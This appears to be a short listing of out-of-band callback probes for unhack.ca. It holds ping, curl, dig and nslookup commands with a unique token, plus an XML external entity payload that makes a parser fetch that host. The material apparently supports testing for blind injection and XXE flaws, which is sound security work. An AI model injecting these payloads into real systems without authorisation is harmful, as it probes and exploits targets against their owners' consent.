$ ping -c1 -p 00daa0c0372b658027ec7b3b8899f300 unhack.ca
 

$ curl http://unhack.ca/p/daa0c0372b658027ec7b3b8899f3
 

$ dig daa0c0372b658027ec7b3b8899f3 @unhack.ca
 

$ dig daa0c0372b658027ec7b3b8899f3.ns.unhack.ca
 

C:\> nslookup daa0c0372b658027ec7b3b8899f3 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/daa0c0372b658027ec7b3b8899f3">]>
    <foo>&xxe;</foo>